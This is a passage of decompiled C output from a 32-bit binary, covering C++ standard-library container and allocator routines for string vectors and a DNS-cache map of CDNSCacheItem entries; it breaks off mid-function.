std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt____Vector_impl_45(a1, a3);
int32_t v1 = a2; // bp-24
int32_t v2 = std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt____M_allocate(&a1->e0, (struct struct_10 *)&v1); // 0x80567a4
a1->e0 = v2;
a1->e1 = a1->e0;
int32_t result = (int32_t)a1; // 0x80567be
*(int32_t *)(result + 8) = a1->e0 + 4 * a2;
return result;
}
// Address range: 0x80567fc - 0x8056841
int32_t std____copy_lt_false_comma__std__random_access_iterator_tag_gt___copy_lt_std__string_const__ptr__comma__std__string__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3) {
int32_t v1 = (int32_t)a2 - (int32_t)a1; // 0x805680a
g96 = v1;
int32_t v2 = v1 / 4; // 0x805680e
g95 = v2;
if (v1 <= 3) {
// 0x805683c
return (int32_t)a3;
}
std__string__operator_eq__675();
int32_t * v3 = (int32_t *)((int32_t)a3 + 4); // 0x805682e_4
while (v2 > 1) {
// 0x8056816
v2--;
std__string__operator_eq__675();
v3 = (int32_t *)((int32_t)v3 + 4);
// continue -> 0x8056816
}
// 0x805683c
return (int32_t)v3;
}
// Address range: 0x8056842 - 0x8056861
void std____copy_aux_lt_std__string_const__ptr__comma__std__string__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3) {
// 0x8056842
std____copy_lt_false_comma__std__random_access_iterator_tag_gt___copy_lt_std__string_const__ptr__comma__std__string__ptr__gt_(a1, a2, a3);
}
// Address range: 0x8056862 - 0x80568cb
int32_t std____copy_normal_lt_true_comma__true_gt___copy_n_lt___gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___gt_(int32_t * a1, int32_t * a2) {
int32_t result = (int32_t)a1;
int32_t * v1;
__gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___base(v1);
int32_t * v2;
int32_t v3 = (int32_t)v2; // 0x805687d
int32_t * v4;
__gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___base(v4);
__gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___base(a2);
std____copy_aux_lt_std__string_const__ptr__comma__std__string__ptr__gt_(v2, (int32_t *)v3, (int32_t *)v3);
__gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_((int32_t *)result, (int32_t *)g95);
return result;
}
// Address range: 0x80568ce - 0x8056909
int32_t std__copy_lt___gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, int32_t ** a3, struct struct_3 * a4) {
int32_t v1 = g101; // 0x80568d1
g101 = (int32_t)a1;
int32_t * v2;
std____copy_normal_lt_true_comma__true_gt___copy_n_lt___gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___gt_(v2, a2);
*(int32_t *)g101 = (int32_t)v2;
int32_t result = g101; // 0x80568fe
g101 = v1;
return result;
}
// Address range: 0x805690a - 0x8056947
int32_t std____copy_normal_lt_true_comma__false_gt___copy_n_lt___gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma__std__string__ptr__gt_(int32_t * a1, int32_t * a2) {
// 0x805690a
__gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___base(a2);
int32_t * v1;
int32_t result = (int32_t)v1; // 0x8056920
__gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___base(a1);
int32_t * v2;
std____copy_aux_lt_std__string_const__ptr__comma__std__string__ptr__gt_(v1, (int32_t *)result, v2);
return result;
}
// Address range: 0x8056948 - 0x805696d
int32_t std__copy_lt___gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma__std__string__ptr__gt_(int32_t * a1, int32_t * a2, int32_t ** a3) {
// 0x8056948
return std____copy_normal_lt_true_comma__false_gt___copy_n_lt___gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma__std__string__ptr__gt_(a1, a2);
}
// Address range: 0x805696e - 0x80569a1
int32_t __gnu_cxx__operator_not__eq__lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(int32_t * a1, int32_t * a2) {
int32_t v1 = __gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___base(a1); // 0x805697b
int32_t v2 = *(int32_t *)v1;
int32_t v3 = __gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___base(a2); // 0x805698b
int32_t v4 = *(int32_t *)v3; // 0x8056993
return (((int32_t)(v2 == v4) | v4 & -256) ^ 1) % 2;
}
// Address range: 0x80569a2 - 0x80569b7
int32_t __gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator__(int32_t * a1) {
// 0x80569a2
*a1 = *a1 + 4;
return (int32_t)a1;
}
// Address range: 0x80569b8 - 0x80569c1
int32_t __gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator_ptr_(int32_t * a1) {
// 0x80569b8
return *a1;
}
// Address range: 0x80569c2 - 0x8056a1f
int32_t std___Construct_lt_std__string_comma__std__string_gt_(int32_t * a1, int32_t * a2) {
int32_t v1 = _ZnwjPv((int32_t *)4); // 0x80569d1
struct struct_3 * v2 = (struct struct_3 *)v1; // 0x80569d1_4
struct struct_3 * v3; // 0x8056a1e_21
if (v1 != 0) {
int32_t v4 = std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__636(&v2->e0, a2); // 0x80569eb
v3 = (struct struct_3 *)v4;
// branch -> 0x8056a1a
} else {
v3 = v2;
}
// 0x8056a1a
return (int32_t)v3;
}
// Address range: 0x8056b22 - 0x8056b39
int32_t std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__130(int32_t a1) {
// 0x8056b22
__gnu_cxx____mt_alloc_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__120(a1);
return 0x8132c20;
}
// Address range: 0x8056b3a - 0x8056b57
int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___get_allocator(int32_t result, int32_t * a2) {
// 0x8056b3a
std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__130(result);
return result;
}
// Address range: 0x8056d70 - 0x8056d79
int32_t __gnu_cxx____mt_alloc_base_lt_unsigned_int_gt___max_size(void) {
// 0x8056d70
return 0x3fffffff;
}
// Address range: 0x8056d7a - 0x8056eb9
int32_t __gnu_cxx____mt_alloc_lt_unsigned_int_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___allocate(int32_t * a1, int32_t * a2) {
// 0x8056d7a
__gnu_cxx____mt_alloc_base_lt_unsigned_int_gt___max_size();
g95 = a2 > (int32_t *)0x3fffffff != false;
if (a2 > (int32_t *)0x3fffffff != false) {
// 0x8056da1
std____throw_bad_alloc();
// branch -> 0x8056da6
}
// 0x8056da6
int32_t v1;
__gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_initialize_once(v1);
__gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool();
int32_t v2 = 4 * (int32_t)a2; // 0x8056db6
int32_t * v3 = (int32_t *)v2; // 0x8056db9_0
int32_t result;
if (__gnu_cxx____pool_base___M_check_threshold((int32_t *)0x8132c20, v3) != 0) {
// 0x8056dd2
int32_t * v4;
result = _Znwj(v2, v2, (int32_t)v4);
// branch -> 0x8056eb5
// 0x8056eb5
return result;
}
int32_t v5 = __gnu_cxx____pool_base___M_get_binmap((int32_t *)0x8132c20, v3); // 0x8056df8
int32_t v6 = __gnu_cxx____pool_lt_true_gt____M_get_thread_id((int32_t *)0x8132c20); // 0x8056e09
int32_t ** v7 = (int32_t **)__gnu_cxx____pool_lt_true_gt____M_get_bin((int32_t *)0x8132c20, (int32_t *)v5); // 0x8056e1d_4
int32_t * v8 = *v7; // 0x8056e36
if (((int32_t)(v8 == NULL) || (int32_t)v8 & -256) == 1) {
// 0x8056e98
result = __gnu_cxx____pool_lt_true_gt____M_reserve_block((struct struct_88 *)0x8132c20, v2, v6);
// branch -> 0x8056eb5
} else {
int32_t * v9 = *v7; // 0x8056e4f
*v7 = (int32_t *)*v9;
__gnu_cxx____pool_lt_true_gt____M_adjust_freelist((int32_t *)0x8132c20, *v7, v9);
int32_t v10 = __gnu_cxx____pool_base___M_get_align((int32_t *)0x8132c20) + (int32_t)v9; // 0x8056e90
result = v10;
// branch -> 0x8056eb5
}
// 0x8056eb5
return result;
}
// Address range: 0x8056eba - 0x8056ed5
int32_t std___Vector_base_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt____M_allocate(int32_t * a1, int32_t * a2) {
// 0x8056eba
return __gnu_cxx____mt_alloc_lt_unsigned_int_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___allocate(a1, a2);
}
// Address range: 0x8056ed6 - 0x8056ef9
int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___begin(int32_t ** a1, int32_t * a2) {
int32_t v1 = *(int32_t *)((int32_t)a2 + 12); // 0x8056ee3
std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt_(a1, (int32_t *)v1);
return (int32_t)a1;
}
// Address range: 0x8056efc - 0x8056f15
int32_t std__pair_lt_std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__bool_gt_(int32_t * a1, int32_t * a2, char * a3) {
int32_t result = (int32_t)a1; // 0x8056f04
*a1 = *a2;
*(char *)(result + 4) = *a3;
return result;
}
// Address range: 0x8056f16 - 0x8056f39
int32_t std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator__(int32_t * a1) {
// 0x8056f16
*a1 = std___Rb_tree_increment(*a1);
return (int32_t)a1;
}
// Address range: 0x8056f3a - 0x8056f87
int32_t std____copy_backward_lt_true_comma__std__random_access_iterator_tag_gt___copy_b_lt_unsigned_int_gt_(int32_t * a1, int32_t * a2, int32_t * a3) {
int32_t v1 = (int32_t)a2 - (int32_t)a1; // 0x8056f48
int32_t v2 = v1 - v1 % 4; // 0x8056f55
int32_t v3 = (int32_t)a3; // 0x8056f64
int32_t result = v3 - v2; // 0x8056f67
memmove((int32_t *)result, a1, v2);
g95 = v3;
return result;
}
// Address range: 0x8056f88 - 0x8056fa7
void std____copy_backward_aux_lt_unsigned_int__ptr__comma__unsigned_int__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3) {
// 0x8056f88
std____copy_backward_lt_true_comma__std__random_access_iterator_tag_gt___copy_b_lt_unsigned_int_gt_(a1, a2, a3);
}
// Address range: 0x8056fa8 - 0x8057011
int32_t std____copy_backward_normal_lt_true_comma__true_gt___copy_b_n_lt___gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___gt_(int32_t * a1, int32_t * a2) {
int32_t result = (int32_t)a1;
int32_t * v1;
__gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___base(v1);
int32_t * v2;
int32_t v3 = (int32_t)v2; // 0x8056fc3
int32_t * v4;
__gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___base(v4);
__gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___base(a2);
std____copy_backward_aux_lt_unsigned_int__ptr__comma__unsigned_int__ptr__gt_(v2, (int32_t *)v3, (int32_t *)v3);
__gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt_((int32_t *)result, (int32_t *)g95);
return result;
}
// Address range: 0x8057014 - 0x805704f
int32_t std__copy_backward_lt___gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4) {
// 0x8057014
g101 = (int32_t)a1;
int32_t * v1;
std____copy_backward_normal_lt_true_comma__true_gt___copy_b_n_lt___gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___gt_(v1, a2);
*(int32_t *)g101 = (int32_t)v1;
return g101;
}
// Address range: 0x8057050 - 0x8057097
int32_t std____copy_backward_lt_false_comma__std__random_access_iterator_tag_gt___copy_b_lt_std__string__ptr__comma__std__string__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3) {
int32_t v1 = (int32_t)a2 - (int32_t)a1; // 0x805705e
g96 = v1;
int32_t v2 = v1 / 4; // 0x8057062
g95 = v2;
if (v1 <= 3) {
// 0x8057092
return (int32_t)a3;
}
int32_t * v3 = (int32_t *)((int32_t)a3 - 4); // 0x8057073_3
std__string__operator_eq__675();
while (v2 > 1) {
// 0x805706a
v2--;
v3 = (int32_t *)((int32_t)v3 - 4);
std__string__operator_eq__675();
// continue -> 0x805706a
}
// 0x8057092
return (int32_t)v3;
}
// Address range: 0x8057098 - 0x80570b7
void std____copy_backward_aux_lt_std__string__ptr__comma__std__string__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3) {
// 0x8057098
std____copy_backward_lt_false_comma__std__random_access_iterator_tag_gt___copy_b_lt_std__string__ptr__comma__std__string__ptr__gt_(a1, a2, a3);
}
// Address range: 0x80570b8 - 0x8057121
int32_t std____copy_backward_normal_lt_true_comma__true_gt___copy_b_n_lt___gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___gt_(int32_t * a1, int32_t * a2) {
int32_t result = (int32_t)a1;
int32_t * v1;
__gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___base(v1);
int32_t * v2;
int32_t v3 = (int32_t)v2; // 0x80570d3
int32_t * v4;
__gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___base(v4);
__gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___base(a2);
std____copy_backward_aux_lt_std__string__ptr__comma__std__string__ptr__gt_(v2, (int32_t *)v3, (int32_t *)v3);
__gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_((int32_t *)result, (int32_t *)g95);
return result;
}
// Address range: 0x8057124 - 0x805715f
int32_t std__copy_backward_lt___gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4) {
int32_t v1 = g101; // 0x8057127
g101 = (int32_t)a1;
int32_t * v2;
std____copy_backward_normal_lt_true_comma__true_gt___copy_b_n_lt___gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___gt_(v2, a2);
*(int32_t *)g101 = (int32_t)v2;
int32_t result = g101; // 0x8057154
g101 = v1;
return result;
}
// Address range: 0x8057160 - 0x8057183
int32_t std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator___133(int32_t * a1) {
int32_t v1 = *a1; // bp-28
int32_t v2;
*a1 = std___Rb_tree_decrement((struct struct_94 *)&v1, v2, 0);
return (int32_t)a1;
}
// Address range: 0x8057184 - 0x8057199
int32_t std___Destroy_lt_std__string_gt_(int32_t a1) {
int32_t result = std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&a1); // 0x8057190
return result;
}
// Address range: 0x805719a - 0x80571bd
int32_t std____destroy_aux_lt_std__string__ptr__gt_(int32_t a1, int32_t result) {
// 0x805719a
if (a1 == result) {
// 0x80571bc
return result;
}
std___Destroy_lt_std__string_gt_(a1);
while (a1 + 4 != result) {
// 0x80571a2
a1 += 4;
std___Destroy_lt_std__string_gt_(a1);
// continue -> 0x80571a2
}
// 0x80571bc
return result;
}
// Address range: 0x80571be - 0x80571df
int32_t std___Destroy_lt_std__string__ptr__gt_(int32_t a1, int32_t result, int32_t a3) {
// 0x80571be
unsigned char v1;
g95 = g95 & -256 | (int32_t)v1;
std____destroy_aux_lt_std__string__ptr__gt_(a1, result);
return result;
}
// Address range: 0x80571e0 - 0x8057289
int32_t std____uninitialized_copy_aux_lt___gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma__std__string__ptr__gt_(int32_t * a1) {
int32_t result;
int32_t * v1;
if (__gnu_cxx__operator_not__eq__lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(a1, v1) == 0) {
// 0x8057239
return result;
}
int32_t v2 = __gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator_ptr_(a1);
int32_t v3 = result;
std___Construct_lt_std__string_comma__std__string_gt_(&v3, &v2);
__gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator__(a1);
int32_t result2 = result + 4; // 0x805721f
while (__gnu_cxx__operator_not__eq__lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(a1, v1) != 0) {
// 0x80571ef
result = result2;
v2 = __gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator_ptr_(a1);
v3 = result;
std___Construct_lt_std__string_comma__std__string_gt_(&v3, &v2);
__gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator__(a1);
result2 = result + 4;
// continue -> 0x80571ef
}
// 0x8057239
return result2;
}
// Address range: 0x805728a - 0x80572ad
int32_t std__uninitialized_copy_lt___gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma__std__string__ptr__gt_(int32_t * a1, int32_t * a2, struct struct_10 * a3) {
// 0x805728a
unsigned char v1;
g96 = g96 & -256 | (int32_t)v1;
return std____uninitialized_copy_aux_lt___gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma__std__string__ptr__gt_(a1);
}
// Address range: 0x80572ae - 0x80572cb
int32_t std____uninitialized_copy_a_lt___gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma__std__string__ptr__comma__std__string_gt_(int32_t * a1, int32_t * a2, struct struct_10 * a3) {
// 0x80572ae
return std__uninitialized_copy_lt___gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma__std__string__ptr__gt_(a1, a2, a3);
}
// Address range: 0x80572cc - 0x805738d
int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt____M_allocate_and_copy_lt___gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___gt_(int32_t * a1, struct struct_10 * a2, int32_t * a3, int32_t * a4) {
struct struct_3 * v1 = NULL; // bp-13
struct struct_10 * v2 = (struct struct_10 *)std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt____M_allocate(a1, a2); // bp-12
std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___get_allocator(v1, a1);
g96 = (int32_t)a3;
std____uninitialized_copy_a_lt___gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma__std__string__ptr__comma__std__string_gt_(a3, a4, v2);
std__allocator_lt_std__string_gt_(&v1->e0);
return (int32_t)v2;
}
// Address range: 0x805738e - 0x805773f
int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_eq_(struct struct_12 * a1, int32_t ** a2) {
struct struct_3 * v1 = NULL; // bp-73
struct struct_3 * v2 = NULL; // bp-57
struct struct_3 * v3 = NULL; // bp-33
int32_t v4 = g98; // 0x8057391
g95 = (int32_t)a2;
if (&a1->e0 == a2) {
// 0x8057738
g98 = v4;
return (int32_t)a1;
}
struct struct_10 * v5 = (struct struct_10 *)std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___size(a2); // bp-16
int32_t v6 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___capacity((int32_t *)a1); // 0x80573bb
int32_t v7; // 0x8057728
struct struct_12 * v8; // 0x8057725_0
if (((int32_t)((struct struct_10 *)v6 < v5) || v6 & -256) != 0) {
// 0x80573d1
int32_t * v9;
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___end(v9, (int32_t *)a2);
int32_t * v10;
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___begin(v10, a2);
struct struct_3 * v11 = (struct struct_3 *)std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt____M_allocate_and_copy_lt___gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___gt_((int32_t *)a1, v5, v10, v9); // bp-12
std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___get_allocator(v1, (int32_t *)a1);
int32_t * v12 = a1->e1; // 0x805742e
struct struct_3 * v13 = (struct struct_3 *)*(int32_t *)a1; // 0x805743e_0
std___Destroy_lt_std__string__ptr__comma__std__allocator_lt_std__string_gt___gt_(&v13->e0, v12, &v1->e0);
std__allocator_lt_std__string_gt_(&v1->e0);
int32_t v14 = ((int32_t)a1->e2 - *(int32_t *)a1) / 4; // 0x805749a
int32_t v15 = *(int32_t *)a1; // 0x80574a2
std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt____M_deallocate((int32_t *)a1, (int32_t *)v15, (int32_t *)v14);
a1->e0 = &v11->e0;
a1->e2 = (int32_t *)(4 * (int32_t)v5 + *(int32_t *)a1);
// branch -> 0x8057725
// 0x8057725
v8 = a1;
v7 = *(int32_t *)v8;
g95 = (int32_t)v8;
v8->e1 = (int32_t *)(4 * (int32_t)v5 + v7);
// branch -> 0x8057738
// 0x8057738
g98 = v4;
return (int32_t)a1;
}
int32_t v16 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___size(&a1->e0); // 0x80574db
if (((int32_t)((struct struct_10 *)v16 < v5) || v16 & -256) == 1) {
// 0x80575da
g98 = *(int32_t *)a1;
int32_t v17 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___size(&a1->e0); // 0x80575e5
int32_t * v18;
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___begin(v18, a2);
int32_t * v19;
__gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator_(v19, v18, (int32_t *)v17);
int32_t * v20;
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___begin(v20, a2);
std__copy_lt___gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma__std__string__ptr__gt_(v20, v19, (int32_t **)g98);
std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___get_allocator(v3, (int32_t *)a1);
g98 = (int32_t)a1->e1;
int32_t * v21;
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___end(v21, (int32_t *)a2);
int32_t v22 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___size(&a1->e0); // 0x8057686
int32_t * v23;
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___begin(v23, a2);
int32_t * v24;
__gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator_(v24, v23, (int32_t *)v22);
std____uninitialized_copy_a_lt___gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma__std__string__ptr__comma__std__string_gt_(v24, v21, (struct struct_10 *)g98);
std__allocator_lt_std__string_gt_(&v3->e0);
// branch -> 0x8057725
} else {
// 0x80574f1
int32_t * v25;
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___begin_19(v25, (int32_t *)a1);
int32_t * v26;
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___end(v26, (int32_t *)a2);
int32_t * v27;
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___begin(v27, a2);
int32_t ** v28;
std__copy_lt___gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___gt_(v28, v27, (int32_t **)v26, (struct struct_3 *)v25);
std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___get_allocator(v2, (int32_t *)a1);
int32_t * v29;
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___end_107(v29, (int32_t)a1);
std___Destroy_lt___gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma__std__allocator_lt_std__string_gt___gt_((int32_t *)v28);
std__allocator_lt_std__string_gt_(&v2->e0);
// branch -> 0x8057725
}
// 0x8057725
v8 = a1;
v7 = *(int32_t *)v8;
g95 = (int32_t)v8;
v8->e1 = (int32_t *)(4 * (int32_t)v5 + v7);
// branch -> 0x8057738
// 0x8057738
g98 = v4;
return (int32_t)a1;
}
// Address range: 0x8057740 - 0x80577c9
int32_t CDNSCacheItem_134(int32_t * a1, int32_t ** a2) {
struct struct_3 * v1 = NULL; // bp-9
std__allocator_lt_std__string_gt__42((int32_t)v1);
